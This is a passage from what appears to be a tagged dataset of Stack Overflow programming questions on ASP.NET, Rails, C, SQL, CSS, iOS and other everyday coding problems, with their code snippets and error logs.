&lt;itemstyle width= 140px  /&gt;                                             &lt;/asp:templatefield&gt;                                           &lt;/columns&gt;                                     &lt;/asp:gridview&gt; </code></pre>,asp.net
wrong ruby version being used  i m trying to get rails running on my mac which is running lion. i m using rvm and it shows i m using ruby 1.9.2p312 but when i go to start the server i m getting an error referencing ruby 1.8 and that rails is not installed even though previous to this error i ran bundle install and it installed everything i needed successfully.    any ideas on how to solve this     ok  it seems that the 1.8 error has gone away. here is the new error and bundle show:   <pre><code>bundle exec rails s /users/anthonyd/.rvm/gems/ruby-1.9.2-head/gems/bundler-1.0.21/lib/bundler/runtime.rb:68:in `require : no such file to load -- spec (loaderror)     from /users/anthonyd/.rvm/gems/ruby-1.9.2-head/gems/bundler-1.0.21/lib/bundler/runtime.rb:68:in `block (2 levels) in require      from /users/anthonyd/.rvm/gems/ruby-1.9.2-head/gems/bundler-1.0.21/lib/bundler/runtime.rb:66:in `each      from /users/anthonyd/.rvm/gems/ruby-1.9.2-head/gems/bundler-1.0.21/lib/bundler/runtime.rb:66:in `block in require      from /users/anthonyd/.rvm/gems/ruby-1.9.2-head/gems/bundler-1.0.21/lib/bundler/runtime.rb:55:in `each      from /users/anthonyd/.rvm/gems/ruby-1.9.2-head/gems/bundler-1.0.21/lib/bundler/runtime.rb:55:in `require      from /users/anthonyd/.rvm/gems/ruby-1.9.2-head/gems/bundler-1.0.21/lib/bundler.rb:122:in `require      from /users/anthonyd/sites/rails/reminders/config/application.rb:7:in `&lt;top (required)&gt;      from /users/anthonyd/.rvm/gems/ruby-1.9.2-head/gems/railties-3.1.3/lib/rails/commands.rb:52:in `require      from /users/anthonyd/.rvm/gems/ruby-1.9.2-head/gems/railties-3.1.3/lib/rails/commands.rb:52:in `block in &lt;top (required)&gt;      from /users/anthonyd/.rvm/gems/ruby-1.9.2-head/gems/railties-3.1.3/lib/rails/commands.rb:49:in `tap      from /users/anthonyd/.rvm/gems/ruby-1.9.2-head/gems/railties-3.1.3/lib/rails/commands.rb:49:in `&lt;top (required)&gt;      from script/rails:6:in `require      from script/rails:6:in `&lt;main&gt;    bundle show gems included by the bundle:   * actionmailer (3.1.3)   * actionpack (3.1.3)   * activemodel (3.1.3)   * activerecord (3.1.3)   * activeresource (3.1.3)   * activesupport (3.1.3)   * arel (2.2.1)   * aws-s3 (0.6.2)   * bbenezech-nested_form (0.0.2)   * bcrypt-ruby (3.0.1)   * bootstrap-sass (1.4.0)   * builder (3.0.0)   * bundler (1.0.21)   * coffee-rails (3.1.1)   * coffee-script (2.2.0)   * coffee-script-source (1.1.3)   * devise (1.5.2 b303429)   * diff-lcs (1.1.3)   * erubis (2.7.0)   * execjs (1.2.9)   * haml (3.1.4)   * hike (1.2.1)   * hpricot (0.8.5)   * i18n (0.6.0)   * jquery-rails (1.0.19)   * json (1.6.3)   * kaminari (0.12.4)   * mail (2.3.0)   * mime-types (1.17.2)   * multi_json (1.0.4)   * nokogiri (1.5.0)   * orm_adapter (0.0.5)   * polyglot (0.3.3)   * rack (1.3.5)   * rack-cache (1.1)   * rack-mount (0.8.3)   * rack-pjax (0.5.5)   * rack-ssl (1.3.2)   * rack-test (0.6.1)   * rails (3.1.3)   * rails_admin (0.0.1 6120ad4)   * railties (3.1.3)   * rake (0.9.2.2)   * rdoc (3.11)   * remotipart (1.0.1)   * rspec (2.7.0)   * rspec-core (2.7.1)   * rspec-expectations (2.7.0)   * rspec-mocks (2.7.0)   * sass (3.1.11)   * sass-rails (3.1.5)   * sprockets (2.0.3)   * sqlite3 (1.3.4)   * sqlite3-ruby (1.3.3)   * thor (0.14.6)   * tilt (1.3.3)   * treetop (1.4.10)   * tzinfo (0.3.31)   * warden (1.1.0)   * xml-simple (1.1.1)  rails s /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:777:in `report_activate_error : could not find rubygem rails (&gt;= 0) (gem::loaderror)     from /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:211:in `activate      from /system/library/frameworks/ruby.framework/versions/1.8/usr/lib/ruby/1.8/rubygems.rb:1056:in `gem      from /usr/bin/rails:18  **ruby -v** ruby 1.9.2p312 (2011-08-11 revision 32926) [x86_64-darwin11.2.0]  **rvm info**:  system:     uname:        darwin anthony-defreitass-macbook-pro.local 11.2.0 darwin kernel version 11.2.0: tue aug  9 20:54:00 pdt 2011; root:xnu-1699.24.8~1/release_x86_64 x86_64      bash:         /bin/bash =&gt; gnu bash  version 3.2.48(1)-release (x86_64-apple-darwin11)      zsh:          /bin/zsh =&gt; zsh 4.3.11 (i386-apple-darwin11.0)     rvm:     version:       rvm 1.10.0-pre by wayne e. seguin (wayneeseguin@gmail.com) [https://rvm.beginrescueend.com/]     ruby:     interpreter:   ruby      version:       1.9.2p312      date:          2011-08-11      platform:      x86_64-darwin11.2.0      patchlevel:    2011-08-11 revision 32926      full_version:  ruby 1.9.2p312 (2011-08-11 revision 32926) [x86_64-darwin11.2.0]     homes:     gem:           /users/anthonyd/.rvm/gems/ruby-1.9.2-head      ruby:          /users/anthonyd/.rvm/rubies/ruby-1.9.2-head     binaries:     ruby:          /users/anthonyd/.rvm/rubies/ruby-1.9.2-head/bin/ruby      irb:           /users/anthonyd/.rvm/rubies/ruby-1.9.2-head/bin/irb      gem:           /users/anthonyd/.rvm/rubies/ruby-1.9.2-head/bin/gem      rake:          /users/anthonyd/.rvm/gems/ruby-1.9.2-head/bin/rake     environment:     path:          /users/anthonyd/.rvm/gems/ruby-1.9.2-head/bin:/users/anthonyd/.rvm/gems/ruby-1.9.2-head@global/bin:/users/anthonyd/.rvm/rubies/ruby-1.9.2-head/bin:/users/anthonyd/.rvm/bin:/usr/bin:/usr/local/bin:/users/anthonyd:/users/anthonyd/imagemagick/bin:/users/anthonyd/imagemagick/lib:.rvm/scripts/rvm:/usr/local/sbin:/usr/local/mysql/bin:/bin:/usr/sbin:/sbin:/usr/x11/bin:/opt/local/bin:/usr/local/git/bin      gem_home:      /users/anthonyd/.rvm/gems/ruby-1.9.2-head      gem_path:      /users/anthonyd/.rvm/gems/ruby-1.9.2-head:/users/anthonyd/.rvm/gems/ruby-1.9.2-head@global      my_ruby_home:  /users/anthonyd/.rvm/rubies/ruby-1.9.2-head      irbrc:         /users/anthonyd/.rvm/rubies/ruby-1.9.2-head/.irbrc      rubyopt:             gemset:          </code></pre>,ruby-on-rails
iphone: how do i add layers to uiview s root layer to display an image with the content property   according to the mac dev center docs  you should be able to set the contents property of a calayer and have that render automatically. however  i still can t get a simple image to show up by adding a sublayer to the uiview s root later. i ve tried multiple different variations; here s what i have so far:    (note: i know there are other ways of rendering images; for my purposes i d like to use calayer s for some of the more complicated stuff i m going to get into).    (in viewdiddisplay() of the viewcontroller):   <pre><code> calayer *thelayer = [calayer layer];  [[[self view] layer] addsublayer:thelayer];  thelayer.contents = (id)[[uiimage imagenamed:@ mypic.png ] cgimage];  thelayer.contentsrect = cgrectmake(0.0f  0.0f  300.0f  300.0f);  thelayer.bounds = cgrectmake(0.0f  0.0f  300.0f  400.0f); </code></pre>   anyone know what i m doing wrong     thanks!,iphone
get joined string from list of lists of strings in python  i have a list of lists and a separator string like this:   <pre><code>lists = [     [ a    b ]      [1  2]      [ i    ii ]  ] separator =  -  </code></pre>   as result i want to have a list of strings combined with separator string from the strings in the sub lists:   <pre><code>result = [      a-1-i         a-1-ii         a-2-i         a-2-ii        b-1-i         b-1-ii         b-2-i         b-2-ii   ] </code></pre>   order in result is irrelevant.    how can i do this,python
how can i access a required field validator in javascript which is set enabled= false  in aspx page   how can i access a required field validator in javascript which is set enabled= false  in aspx page  on selection of another dropdown this requiredfieldvalidator should be enabled.,asp.net
bit shifting in c  how would i do the following:   <pre><code>unsigned short x = 0xffff; unsigned short y = 0xae;  x |= y &amp; 1; x |= y &amp; (1 &lt;&lt; 1); x |= y &amp; (1 &lt;&lt; 2); x |= y &amp; (1 &lt;&lt; 3); x |= y &amp; (1 &lt;&lt; 4); x |= y &amp; (1 &lt;&lt; 5); x |= y &amp; (1 &lt;&lt; 6); x |= y &amp; (1 &lt;&lt; 7); x |= y &amp; (1 &lt;&lt; 8); x |= y &amp; (1 &lt;&lt; 9); x |= y &amp; (1 &lt;&lt; 10); x |= y &amp; (1 &lt;&lt; 11); x |= y &amp; (1 &lt;&lt; 12); x |= y &amp; (1 &lt;&lt; 13); x |= y &amp; (1 &lt;&lt; 14); x |= y &amp; (1 &lt;&lt; 15); printf( %x   x);  </code></pre>   i want x to be equal to 0xae  but it is still equal to 0xffff.,c
content is the same in both ul classes  i m having a small issue here:   <pre><code>&lt;div id= navbar &gt; &lt;ul id= navtabs  class= floatcontainer &gt;           &lt;li &lt; php if ($_get[ dept ] ==  home ) {echo class= selected  ;}  &gt;&gt;&lt;a class= navtab  href= index3.php dept=home &gt;home&lt;/a&gt;              &lt;ul class= floatcontainer &gt;                  &lt;li&gt;&lt;a href=  app=usercp &gt;user panel&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href=  app=bugs &gt;report bugs&lt;/a&gt;&lt;/li&gt;                 &lt;li&gt;&lt;a href=  t=forum&amp;app=index &gt;staff forums&lt;/a&gt;&lt;/li&gt;                               &lt;/ul&gt;          &lt;/li&gt;            &lt;li &lt; php if ($_get[ dept ] ==  management ) {echo  class= selected  ;}  &gt;&gt;&lt;a class= navtab  href= index3.php dept=management &gt;management&lt;/a&gt;              &lt;ul class= floatcontainer &gt;                 &lt;li&gt;&lt;a href=  app=listuser &gt;user listing&lt;/a&gt;&lt;/li&gt;                                                &lt;/ul&gt;          &lt;/li&gt; &lt;/ul&gt; </code></pre>       in the code  the correct floatcontainer is meant to show up in each case for the li above  however  the bottom one  the floatcontainer with the user listing li only shows in both cases.    how do i resolve this,html
c - local function variable chages value of scope (global) variable error behavior  i have a global variable called: <code>char clientes_dni[]</code>. i am calling (from the main) a function like: <code>comprobarexistenciadni(clientes_dni)</code>. my function <code>comprobarexistenciadni</code> is:    <pre><code>bool comprobarexistenciadni(char dni[]) {     /// change to lower dni last word     dni[8] = tolower(dni[8]);     return (true); } </code></pre>   if my var has the value  11111111j   after function the value is  11111111j . i am not working with global variable  only with the local variable so... why value of <code>clientes_dni</code> is changed      thank you.,c
how to add the different views for different segments in the segment control   iam developing one application.in that i use the segment control with 5 segments.every segment has separate view.so when we click on any segment another view will be appear below the segment control at the same view.like this all segments print the different views in the same view.how to get this please tell me how to do this.,iphone
declaring a variable from a string input (java)  when i previously asked a question  it got many downvotes because i was not very specific. i will do my best to be clear this time. i have read questions with similar titles  but none have made it clear to me.     basically  i have been assigned to make a fractional calculator for my ap comp sci class. the first checkpoint for this assignment is to be able to read fractions inputted by the user without the code crashing. for example   1_1/2   1/2  or just 1.     so far  i ve gotten the following -   <pre><code>public static void identify() {         scanner console = new scanner(system.in);         string fraction = console.next();          if(fraction.contains( _ )) {             int wholenumber = console.nextint();             int numerator = console.nextint();             int denomenator = console.nextint();             system.out.print(wholenumber +  _  + numerator +  /  + denomenator);         }         else if(fraction.contains( / )) {             int numerator = console.nextint();             int denomenator = console.nextint();             system.out.print(numerator +  /  + denomenator);          }          else {                                                                                       system.out.print(fraction);         }          } </code></pre>   i thought it was working at first  but then i realized that if i inputted 1_1/2 or 1/2  the code would wait for inputs for the numerator  denominator  and whole number. so my problem is that i want the previously mentioned values to be declared from the originally inputted string  and not from different inputs.     i understand this might be confusing to read  so basically i if input 1_1/2  i want my code to declare 1 as wholenumber  1 as numerator  and 2 as denominator. how would i achieve this,java
cannot convert parameter 1 from char to const char for strcmp  i just started using pointers in c. i thought to sort a string by entering the string in the command prompt.    when i try to implement it  i get this error:    <pre><code> strcmp  : cannot convert parameter 1 from  char  to  const char *  </code></pre>   could you please guide me and tell me how to make the code with less pointer and more of array    <pre><code>char *sort(char *sortit) {     char *p =sortit;     //p = (char*)calloc(sizeof(char));     char temp[3];     int len = strlen(sortit);     for(int i=0;i&lt;len;i++)     {         for(int j=i+1;j&lt;len;j++)         {             if(strcmp(p[i] p[j])&gt;0)             {                 strcpy(temp p[i]);                 strcpy(p[i] p[j]);                 strcpy(p[j] temp);             }         }     }      for(int ij=0;ij&lt;len;ij++)       printf( %s   p[ij]); }  int main(char argc  char **argv) {     char *p=argv[1];      sort(p); } </code></pre>,c
the column  incidentnumber  was specified multiple times for  inv   i am having issue finding why i am having this <img src= https://i.stack.imgur.com/1secz.jpg  alt= error >.     here is the statement:    <pre><code>select     incident.salesrep as salesman  incident.incidentnumber as incidentent  bc.name as customer  incident.address3 as [ship to customer]  incident.usertext6 as [customer type]                     inv.invoicenumber as invoice  sophdr.docdate as [document date]  sophdr.glpostdt as [gl post date]                     case when sophdr.docamnt &lt; 0 then (sophdr.docamnt) when (sophdr.soptype = 4 and sophdr.docamnt &gt; 0) then (sophdr.docamnt * - 1)                    else case when paid.paid is null then 0.00 else paid.paid end end as [amount received]  case when sophdr.soptype = 4 then (sophdr.docamnt * - 1)                    else sophdr.docamnt end as [sales amount]  case when sophdr.soptype = 4 then (inv.costtotal * - 1) else inv.costtotal end as [ext cost]                     case when sophdr.soptype = 4 then (inv.taxtotal * - 1) else inv.taxtotal end as [tax amount]                     case when incident.usertext8 =  avatax  then  s  when incident.usertext8 =  cogs  then  u  else  x  end as [tax type]                     case when sophdr.soptype = 4 then ((sophdr.docamnt - inv.taxtotal) * - 1) else (sophdr.docamnt - inv.taxtotal) end as [net sales]                     case when sophdr.soptype = 4 then ((sophdr.subtotal - inv.taxtotal - inv.costtotal) * - 1) else (sophdr.subtotal - inv.taxtotal - inv.costtotal)                    end as [gross profit]                     --case when (incident.usertext1 is null or    --               incident.usertext1 =   ) then 0.00 else case when sophdr.soptype = 4 then (((sophdr.docamnt - inv.taxtotal) - inv.costtotal) * - 1) * (incident.usertext1 / 100.0)     --               else ((sophdr.docamnt - inv.taxtotal) - inv.costtotal) * (incident.usertext1 / 100.0) end end as [accrued commission]                    --case when (incident.usertext1 is null or    --               incident.usertext1 =   ) then  0.00  else incident.usertext1 end as [commission %]  incident.usertext21 as [not commissionable]  incident.usertext18 as [date 1st comm pd]                     case when (sophdr.subtotal is null or                   sophdr.subtotal = 0) then 0.00                      else                      case when sophdr.soptype = 4 then ((sophdr.subtotal - inv.taxtotal - inv.costtotal) / (sophdr.subtotal - inv.taxtotal)) * - 100                          else (((sophdr.subtotal - inv.taxtotal - inv.costtotal) / (sophdr.subtotal - inv.taxtotal)) * 100)                    end end as [sale gross profit %]                     case when (sophdr.docamnt &lt; 0) or                   (sophdr.soptype = 4 and sophdr.docamnt &gt; 0) then 100.00                      else                          case when (paid.paid is null or paid.paid = 0) or (sophdr.docamnt = 0 or sophdr.docamnt is null) then 0.00                              else (paid.paid / sophdr.docamnt) * 100 end end as [paid %]  incident.usertext25 as direct  incident.usertext26 as [split w/rep]                                       incident.usertext27 as [% of job rep 1]  incident.usertext28 as [% of job rep 2]  incident.usertext23 as [date 2nd comm pd]  inv.invoicetotal as [invoiced total]  from         (select     record  batchnumber  invoicenumber  invoicedate  status  invoicetype  invoicesource  applyto  incidentnumber  incidentnumber  taskid                                             billtocompanyid  billtocompanycode  billtocompanyname  billtoaddressid  billtoaddresscode  billtoaddress1  billtoaddress2  billtoaddress3                                             billtoaddress4  billtocity  billtostate  billtozip  billtocountry  ponumber  billingcontactid  billingfirstname  billinglastname  billingphone                                             billingextension  billingemail  integrationvalue  internalnotes  externalnotes  createdate  modifydate  enteredbyuser  modifiedbyuser  contractnumber                                             division  isemailed  usernotes  usernotes2  documenttype  paymentterms  transfertobatchnumber  adjustmenttype  ispaid  usertext1  usertext2                                             usertext3  usertext4  usertext5  usertext6  usertext7  usertext8  usertext9  usertext10  userdate1  userdate2  userdate3  usernotes3                                                (select     sum(salesamount) as expr1                                                 from          alertcrm.dbo.invoicedetail                                                 where      (invoicerecord = alertcrm.dbo.invoice.record)) as subtotal                                                (select     sum(salestax) as expr1                                                 from          alertcrm.dbo.invoicedetail as invoicedetail_3                                                 where      (invoicerecord = alertcrm.dbo.invoice.record)) as taxtotal                                                (select     isnull(sum(salesamount)  0) + isnull(sum(salestax)  0) as expr1                                                 from          alertcrm.dbo.invoicedetail as invoicedetail_2                                                 where      (invoicerecord = alertcrm.dbo.invoice.record)) as invoicetotal                                                (select     sum(costamount) as expr1                                                 from          alertcrm.dbo.invoicedetail as invoicedetail_1                                                 where      (invoicerecord = alertcrm.dbo.invoice.record)) as costtotal                    from          alertcrm.dbo.invoice) as inv inner join                   alertcrm.dbo.incident as incident on incident.incidentnumber = inv.incidentnumber left outer join                   alertcrm.dbo.company as bc on bc.companyid = incident.billingcompanyid left outer join                   dbo.sop30200 as sophdr on sophdr.sopnumbe = inv.invoicenumber left outer join                       (select     aptodcnm as invoice  sum(paid) as paid                         from          (select     aptodcnm  sum(actualapplytoamount) as paid                                                 from          dbo.rm20201                                                 group by aptodcnm                                                 union                                                 select     aptodcnm  sum(actualapplytoamount) as paid                                                 from         dbo.rm30201                                                 group by aptodcnm) as p                         group by aptodcnm) as paid on paid.invoice = sophdr.sopnumbe </code></pre>   please advise.,sql
un-clear intervals   is it possible to make it so that function rotate can be called more than once  because of me clearing the interval  it only works once   <pre><code>var rotation = 0;          function rotate() {                 var x = setinterval(function() {                     if (rotation &lt; 61) {                         rotation = rotation + 1;                         document.getelementbyid( test ).style.transform =  rotate( +rotation+ deg) ;                         document.getelementbyid( test ).style.mstransform =  rotate( +rotation+ deg) ;                         document.getelementbyid( test ).style.webkittransform =  rotate( +rotation+ deg) ;                         console.log( rotated  +rotation+  degrees. )                     }                     else {                         clearinterval(x);                         var y = setinterval(function() {                             if (rotation &gt; 0) {                                 rotation = rotation - 1;                                 document.getelementbyid( test ).style.transform =  rotate( +rotation+ deg) ;                                 document.getelementbyid( test ).style.mstransform =  rotate( +rotation+ deg) ;                                 document.getelementbyid( test ).style.webkittransform =  rotate( +rotation+ deg) ;                                   console.log( rotated  +rotation+  degrees. )                             }                         }  1)                      }                                        }  1)         } </code></pre>,javascript
how can i make this div transparent   <img src= https://i.stack.imgur.com/bsnw2.jpg  alt= enter image description here >    i have give a shape to this but when i place it on a header white background of div come i want to make that div transparent. i just want the back white div to be transparent   <pre><code>.shape{ height:300px; background:#1ec8d7; position:relative; overflow:hidden; z-index:999; } .shape:after .shape:before{ content:  ; position:absolute; background:#fff; height:200px; width:110%; } div:before{ bottom:100%;  transform-origin:0 100%; -ms-transform-origin:100% 0; -webkit-transform-origin:0 100%;  transform:rotate(3deg); -ms-transform:rotate(3deg); -webkit-transform:rotate(3deg);  } .shape:after{ top:100%;  transform-origin:0 0; -ms-transform-origin:0 0; -webkit-transform-origin:0 0;  transform:rotate(-5deg); -ms-transform:rotate(-5deg); -webkit-transform:rotate(-5deg);  } </code></pre>,css
difference between shallow and deep copy  i have been trying to understand the difference between deep and shallow copy by following the  link: <a href= https://developer.apple.com/library/mac/documentation/cocoa/conceptual/collections/articles/copying.html#//apple_ref/doc/uid/tp40010162-sw3  rel= nofollow >difference</a>     what i did :   <pre><code>- (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib.     temparray=[[nsmutablearray alloc] initwithobjects:@ a  @ b  @ c  @ d  @ e  @ f  @ g   nil];     shallowarray=[[nsmutablearray alloc] initwitharray:temparray copyitems:no];     deeparray=[[nsmutablearray alloc] initwitharray:temparray copyitems:yes]; }  - (ibaction)testshallowdeep:(id)sender {      [temparray removeobjectatindex:0];     nslog(@ shallowarray should get changed==%@  shallowarray);     nslog(@ deeparray should remain same===%@   deeparray); } </code></pre>   however when i checked the logs both are coming same as temp array. anybody can explain this concept with above example. according to my understanding shallow array should get changed and element  a  should be removed from it and deep array should remain same as temp array.,objective-c
selecting the items associated with a tag along with the tags associated with these items  2 tables:<br/> items(item_id  ...)<br/> tags(tag_id  item_id)<br/>    how do i select the items (from the  items  table) that have a particular tag associated with them (in the  tags  table) along with all the tags associated with these items,sql
attribute name not recognized <pre><code>&lt;select name= search[quick_dates]  id= search_quick_dates &gt; ... &lt;/select&gt; </code></pre>   and jquery:   <pre><code>f.find( select[name=search[quick_dates]] ).bind( change   { form: f }  function(e){ ... } </code></pre>   throws an error:    <code>uncaught error: syntax error  unrecognized expression: select[name=search[quick_dates]]</code>    can i update my jquery instead of changing the attribute name,jquery
require field validator disappear because of auto post of drop down  here is issue with my require filed validator   here i use one drop down box for select time with associated with require field validator in my drop down there are 1-24 hour time  and select time with first index. in my page in drop down for time selection is necessary if user  select the time then again goes  the initial value of first index or select time option that time require field validator work and disappear immediately because of partial post back or auto post back of drop down.i have also use update panel. i want that whenever user does not select time or choos select time option that time require field validator prompt user for select time. until user does not select time it cant process further.                         <pre><code>&lt;div class= loginbox &gt;                 &lt;asp:label id= lbldatetime  text= date &amp; time:  cssclass= jobtitle    associatedcontrolid= txtdate                      runat= server &gt;&lt;/asp:label&gt;                                     &lt;asp:dropdownlist id= ddltime   runat= server  autopostback= true    onselectedindexchanged= ddltime_selectedindexchanged &gt;                 &lt;/asp:dropdownlist&gt;                 &lt;asp:requiredfieldvalidator id= rfvtime  runat= server  display= dynamic  controltovalidate= ddltime                      text= select time  errormessage= select time  initialvalue= -1  cssclass= errmsg &gt;&lt;/asp:requiredfieldvalidator&gt;             &lt;/div&gt; </code></pre>,asp.net
view.window.center is 0 0 if invoked in response to a notification but 160 284 otherwise  i was having an issue where a view wasn t displaying if the view was displayed in response to listening for a notification posed by my model  but it was being displayed if displayed if invoked directly from the view controller code elsewhere.    the cause was i was setting the center of this view to the parent s view s window s center  i.e.   <pre><code>- (void) viewcontrollermethod {  myview *view = (myview*)[[[nsbundle mainbundle] loadnibnamed:@ myview  owner:self options:nil] objectatindex:0];     view.center = self.view.window.center; } </code></pre>   if viewcontrollermethod is invoked from anywhere within the view controller such as viewdidappear then the value of self.view.window.center is 160 284. but if viewcontrollermethod is invoked via a notification from the notification center then self.view.window.center is 0 0.    i have solved my original problem by changing self.view.window.center to self.view.center.    but i am curious to know why the window s center has a different value depending upon how it is invoked     in both cases self.view.center is 160 284  it is only self.view.window.center that has different values.    (note that even after forcing viewcontrollermethod to be invoked on the main thread it still exhibits this behavior).,ios
two column list with specific overflow  how would you create a simple html/css page that can display 2 columns with a list of items so that the first column fills up first and then flows into second column  <em>i.e.</em> not balanced column height.    for example:   <pre><code>------------------ 1. john   2. alan   3. matt    ------------------ 1. john  5. suzie 2. alan   3. matt   4. phil   ------------------ 1. john  5. suzie 2. alan  6. cathy 3. matt  7. bob 4. phil  8. richard ------------------ </code></pre>   i ve tried a div with a column-count: 2; but for example with 4 items it will separate them in 2 items in each column  where i would like all 4 in the first column.    thanks!,css
how do you configure password recovery control in asp.net   i have a password recovery control that is set up to ask the user their security question.  i have configured the from email and subject  but i am receiving a runtime error stating smtp host is not specified.    can someone tell me where i need to set the host     thanks,asp.net
aggregate records in mysql query  i have a table as shown below:   <pre><code>document no  |  payment terms | purchase order no ------------------------------------------------- 1700000000   |  nt30          |  ------------------------------------------------- 1700000000   |                | hpi115881 ------------------------------------------------- 1700000000   |                | hpi115881 ------------------------------------------------- 1700000002   |  nt30          | ------------------------------------------------- 1700000002   |                | hpi163799 ------------------------------------------------- 1700000003   |  nt30          | ------------------------------------------------- 1700000003   |                | hpi160969 ------------------------------------------------- 1700000004   |  nt30          | ------------------------------------------------- 1700000004   |                | hpi13641 </code></pre>   as you can see  for the same <strong>document no</strong>  i have 2 records - one with <strong>payment terms</strong> and other with <strong>purchase order no</strong>.     what i want is to have just one line for all document numbers with all three columns populated like below:   <pre><code>document no   payment terms    purchase order no 1700000000       nt30              hpi115881 </code></pre>   any help on this will be highly appreciated. thanks.,mysql
"want to align image in front of text but at center  i want to align image in front of text and in the middle .     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= info &gt;
       &lt;ul&gt;
         &lt;h3&gt;
           &lt;li&gt;name: mohit kumar singh&lt;/li&gt;
           &lt;li&gt;contact:1234567890&lt;/li&gt;
           &lt;li&gt;adderess:police line&lt;/li&gt;
         &lt;/h3&gt;
       &lt;/ul&gt;
     &lt;/div&gt;
     &lt;div id= over  style= width:100%; height:100%  align= center &gt;
      &lt;img src= mks.jpg  height= 150  width=120  &gt;
     &lt;/div&gt;</code></pre>
 </div>
 </div>
     <a href= https://i.stack.imgur.com/w7xxz.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/w7xxz.png  alt= enter image description here ></a>",html
auto-renewable monthly subscriptions - when is the expired day   auto-renewable monthly subscriptions user start subscription when   <pre><code>case-1. 12.15 -&gt; 1.15 -&gt; 2.15 -&gt; 3.15 -&gt; 4.15   case-2. 12.31 -&gt; 1.31 -&gt; 2.28 -&gt; 3.31 -&gt; 4.30 -&gt; 5.31  case-3. 12.30 -&gt; 1.30 -&gt; 2.28 -&gt; 3.30 -&gt; 4.30 -&gt; 5.30 </code></pre>   when is the renewing day about case2 and case3,ios
in ios  how does autorotation work behind the scene   in ios  how does autorotation work behind the scene     1) when and how often is shouldautorotate called by ios     2) at what point (relative to the view controller callbacks) does window set the frame of your root view controller based on what you return in supportedinterfaceorientations     3) at what point does ios perform the autorotation animation relative to the other callbacks.  for example  is it before viewwillappear for all child view controllers of that root view controller,ios
passing a value into a form field using javascript  can figure out why this isn t working.    i m calling the function drawgraph(z) like this:     drawgraph( t )   <pre><code>function drawgraph(z) { var v = document.getelementbyid( frmvar ); alert(z); v.value = z; function handleresponse(response) {    ajaxresponse = response;    } draw(handleresponse);  }; </code></pre>   the html form filed looks like this:   <pre><code>&lt;input type= test  name= frmvar &gt; </code></pre>   the alert box springs up with t in it    i get the following error message:   <blockquote>    typeerror:  null  is not an object (evaluating  v.value = z )  </blockquote>   can see what i m doing wrong! someone help me please    thanks    chris,javascript
nsdateformatter returning wrong year  i am using a pretty basic method to turn dates into strings.   <pre><code>+(nsstring*)stringfordate:(nsdate*)date {     nsdateformatter *dateformat = [[nsdateformatter alloc] init];     [dateformat setdateformat:@ ddmmyyyy ];     nslog(@ %@  date);     nslog(@ %@  [dateformat stringfromdate:date]);     return [dateformat stringfromdate:date]; } </code></pre>   but some of them are coming back with the wrong years. here s a sample of the log.    <pre><code>2014-05-25 00:26:46.050 app name[1868:60b] 2013-12-26 16:00:00 +0000 2014-05-25 00:26:46.051 app name[1868:60b] 27122013 2014-05-25 00:26:46.051 app name[1868:60b] 2013-12-27 16:00:00 +0000 2014-05-25 00:26:46.051 app name[1868:60b] 28122013 2014-05-25 00:26:46.051 app name[1868:60b] 2013-12-28 16:00:00 +0000 2014-05-25 00:26:46.052 app name[1868:60b] 29122014 2014-05-25 00:26:46.052 app name[1868:60b] 2013-12-29 16:00:00 +0000 2014-05-25 00:26:46.054 app name[1868:60b] 30122014 </code></pre>   ignore the fact that the days appear to be a day later - that s expected  due to time zone. however  all the dates being fed in are 2013  but some of the strings are coming back with 2014.    any help appreciated - it s doing my head in!,objective-c
how do i implement a  drop down within a drop down  in html/css   so here is the html code for the contents of my first drop down menu:   <pre><code>&lt;nav id= side-nav  style= display:none; &gt;     &lt;ul id= side-nav-content &gt;         &lt;li&gt;             &lt;a href= # &gt;information for current students&lt;/a&gt;             &lt;/li&gt;         &lt;li&gt;             &lt;a href= # &gt;timetables &amp; programme structures&lt;/a&gt;         &lt;/li&gt;         &lt;li&gt;             &lt;a href= # &gt;support services&lt;/a&gt;         &lt;/li&gt;     &lt;/ul&gt; &lt;/nav&gt; </code></pre>   so i m trying to implement dynamic sub drop down menus for each of the three list items.    i originally tried adding a list within a list however that was just a shot in the dark and i never really expected it to work. i m pretty stumped and am just looking for a pointer to the best way to go about doing this.,html
for loop to increment by decimal  how can one increment in a for loop such that:    <code>for (int j = 0; j &lt; 1.0; j+=0.01) {}</code>    immediately i know that having a decimal makes the use of <code>int</code> odd.    <strong>edit:</strong>    before anybody gets cheeky  i already know <code>int</code> is incorrect...the question is how to perform the method since <code>int</code> is not a valid manner to do so.,c++
how to get forms next to each other rather than below one another  i have a form below i m trying to apply class to it so that forms are next to each other rather than one below the other but its not working    below is my code   <pre><code> &lt;form action=   method= post &gt;      &lt;div class= imgthumb &gt;&lt; php the_post_thumbnail( thumbnail );  &gt;&lt;/div&gt;      &lt;div class= votebtn &gt;         &lt;input type= hidden  value= &lt; php echo $postid;  &gt;  name= id  /&gt;         &lt;input type= submit  name= submit  value= vote  /&gt;       &lt;/div           &lt;div class= votecounttxt &gt;&lt; php echo $votecount;  &gt;&lt;/div&gt;               &lt;/form&gt; </code></pre>   u caa see it live at <a href= http://myproject.byethost7.com/ page_id=5  rel= nofollow >http://myproject.byethost7.com/ page_id=5</a>,css
how do i make the footer stretch vertically downward align to footer  i am new to web design using tableless and i m having problem positioning some elements on my page..     here s the sample html: <a href= http://christianruado.comuf.com/sample.html  rel= nofollow noreferrer >http://christianruado.comuf.com/sample.html</a> <a href= http://christianruado.comuf.com/images/screen.jpg  rel= nofollow noreferrer >alt text http://christianruado.comuf.com/images/screen.jpg</a>    as you can see from the screen shots i want my right div to be vertically stretched down to the same level of my footer and position my bottom element to the lowest part of the right container.     css:    <pre><code>.container {     width:88%; } #header {     background:#cccccc;     margin-bottom:5px;     padding-bottom:2px;     height:100px;     text-align:center; } #content {     background: #0099cc;     margin-bottom:5px; } #main {     margin: .5em 0 0 0;     text-align: left;     width:80%; } #right {     float:right;     width: 19%;     background:#ff3300;     margin-left:2px;     height: 100%;     min-height: 200px; } #right .top {     top:0;     display:block;     background-color:#cccccc; } #right .bottom {     bottom:0;     display:block;     background-color:#ffccff;     height:30px; } #center {     background:#00ff99;     padding: 5px 0 0 10px;     float:left; } #footer {     clear:both;  